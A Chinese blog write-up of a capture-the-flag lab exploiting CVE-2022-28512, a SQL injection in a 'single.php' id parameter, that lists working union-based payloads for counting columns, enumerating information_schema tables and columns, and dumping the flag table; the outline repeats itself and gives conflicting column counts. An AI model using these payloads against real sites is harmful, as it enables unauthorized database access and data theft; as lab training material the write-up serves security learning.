春秋云镜CVE-2022-28512

目录

1:开启靶机访问

2:根据提示确定目标点

3:访问该路径/single.php,并且id传参 发现单引号闭合

4:访问该路径/single.php,并且id传参,发现十个字段
1:开启靶机访问

2:根据提示确定目标点

3:访问该路径/single.php,并且id传参 发现单引号闭合

4:访问该路径/single.php,并且id传参,发现九个字段
/single.php?id=1'order by 10-- asd

5:使用联合查询,知道回显位
/single.php?id=1000' union select 1,2,3,4,5,6,7,8,9-- asd

6:查看数据库版本和名字
/single.php?id=1000' union select 1,version(),3,database(),5,6,7,8,9-- asd

7:查询表名,找到flag表名字
/single.php?id=1000' union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database() -- asd

8:查询字段名
/single.php?id=1000' union select 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag' -- asd

9:查看字段数据,找到flag
/single.php?id=1000' union select 1,group_concat(flag),3,4,5,6,7,8,9 from flag -- asd


__EOF__

本文作者Crushz
本文链接https://www.cnblogs.com/Crushz-2024/p/18392122.html
关于博主:Crushz
版权声明:转载请注明来源哟~ QAQ
声援博主:UP UP UP !!!
posted @   Crushz  阅读(29)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)
点击右上角即可分享
微信分享提示